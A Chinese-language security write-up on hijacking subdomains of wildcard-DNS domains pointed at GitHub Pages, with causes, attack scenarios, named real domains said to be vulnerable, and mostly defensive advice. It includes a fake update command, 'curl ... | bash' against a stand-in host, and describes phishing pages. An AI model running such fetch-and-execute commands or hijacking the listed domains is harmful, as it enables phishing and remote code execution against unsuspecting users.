技术分析 | 我们来“劫持”个GitHub自定义域名玩吧!
字数 1180 2025-08-18 11:37:19

GitHub Pages 自定义域名劫持漏洞分析与防范指南

漏洞背景

GitHub Pages 服务允许用户为项目设置自定义域名,但存在一个潜在的安全风险:当用户使用泛解析(如 *.example.com)将域名指向 GitHub Pages 服务器时,其他 GitHub 用户可能劫持该域名的任意二级域名。

技术原理

正常解析流程

  1. 单独二级域名解析

    www.deepwn.com => GitHub Page
    
    • 用户为特定项目设置自定义域名
    • DNS 解析指向 GitHub 服务器
    • GitHub 正确显示对应项目内容
  2. 泛解析流程

    *.deepwn.com => GitHub Page
    
    • 所有二级域名都指向 GitHub 服务器
    • 未明确绑定的二级域名会显示 GitHub 404 页面

漏洞产生原因

  1. GitHub 服务器不会验证域名所有者身份
  2. 任何 GitHub 用户都可以将自己的项目部署到任意域名
  3. 缺乏"双向验证"机制确认域名控制权

攻击场景

  1. 钓鱼攻击:劫持 login.example.com 制作 GitHub 登录钓鱼页面
  2. 文档篡改:克隆项目文档页面,插入恶意脚本
  3. 恶意更新:伪造"一键更新"命令:
    curl -sL http://patch.example.com/update.sh | bash
    

实际案例

作者在一天内发现了11个可劫持的域名,包括:

  • androidx.debayes.dk
  • claudiuandrei.com
  • crunchbitcoin.com
  • hijack.michellerobinscreative.com (作者演示用)
  • lit.max.pub
  • paulispace.com

防范措施

对于GitHub用户

  1. 避免使用泛解析

    • 不要设置 *.example.com 这样的DNS记录
    • 为每个项目单独配置DNS解析
  2. 定期检查

    • 验证所有二级域名是否指向预期项目
    • 检查是否有未授权的项目绑定到你的域名
  3. 使用CNAME记录

    • 优先使用CNAME而非A记录
    • 确保只解析到你的特定项目

对于GitHub的建议

  1. 实现双向验证机制:

    • 要求用户添加TXT记录验证域名所有权
    • 类似邮件服务的域名验证方式
  2. 加强警告提示:

    • 在设置泛解析时显示明显警告
    • 对可疑绑定行为进行提醒

当前状态

GitHub官方已将此问题标记为"超出项目接受范围",短期内不会修复。目前仅在帮助文档中添加了警告信息:
https://help.github.com/articles/troubleshooting-custom-domains/#unsupported-custom-domain-name

POC示例

作者提供了一个概念验证项目:
https://github.com/deepwn/GitPageHijack/

总结

关键安全建议

  1. 绝对不要在GitHub Pages中使用泛解析
  2. 为每个项目单独配置DNS记录
  3. 定期检查域名解析情况
  4. 提高安全意识,防范可能的钓鱼攻击

通过遵循这些准则,可以显著降低自定义域名被劫持的风险。

GitHub Pages 自定义域名劫持漏洞分析与防范指南 漏洞背景 GitHub Pages 服务允许用户为项目设置自定义域名,但存在一个潜在的安全风险:当用户使用 泛解析 (如 *.example.com )将域名指向 GitHub Pages 服务器时,其他 GitHub 用户可能劫持该域名的任意二级域名。 技术原理 正常解析流程 单独二级域名解析 : 用户为特定项目设置自定义域名 DNS 解析指向 GitHub 服务器 GitHub 正确显示对应项目内容 泛解析流程 : 所有二级域名都指向 GitHub 服务器 未明确绑定的二级域名会显示 GitHub 404 页面 漏洞产生原因 GitHub 服务器不会验证域名所有者身份 任何 GitHub 用户都可以将自己的项目部署到任意域名 缺乏"双向验证"机制确认域名控制权 攻击场景 钓鱼攻击 :劫持 login.example.com 制作 GitHub 登录钓鱼页面 文档篡改 :克隆项目文档页面,插入恶意脚本 恶意更新 :伪造"一键更新"命令: 实际案例 作者在一天内发现了11个可劫持的域名,包括: androidx.debayes.dk claudiuandrei.com crunchbitcoin.com hijack.michellerobinscreative.com (作者演示用) lit.max.pub paulispace.com 防范措施 对于GitHub用户 避免使用泛解析 : 不要设置 *.example.com 这样的DNS记录 为每个项目单独配置DNS解析 定期检查 : 验证所有二级域名是否指向预期项目 检查是否有未授权的项目绑定到你的域名 使用CNAME记录 : 优先使用CNAME而非A记录 确保只解析到你的特定项目 对于GitHub的建议 实现 双向验证 机制: 要求用户添加TXT记录验证域名所有权 类似邮件服务的域名验证方式 加强警告提示: 在设置泛解析时显示明显警告 对可疑绑定行为进行提醒 当前状态 GitHub官方已将此问题标记为"超出项目接受范围",短期内不会修复。目前仅在帮助文档中添加了警告信息: https://help.github.com/articles/troubleshooting-custom-domains/#unsupported-custom-domain-name POC示例 作者提供了一个概念验证项目: https://github.com/deepwn/GitPageHijack/ 总结 关键安全建议 : 绝对不要在GitHub Pages中使用泛解析 为每个项目单独配置DNS记录 定期检查域名解析情况 提高安全意识,防范可能的钓鱼攻击 通过遵循这些准则,可以显著降低自定义域名被劫持的风险。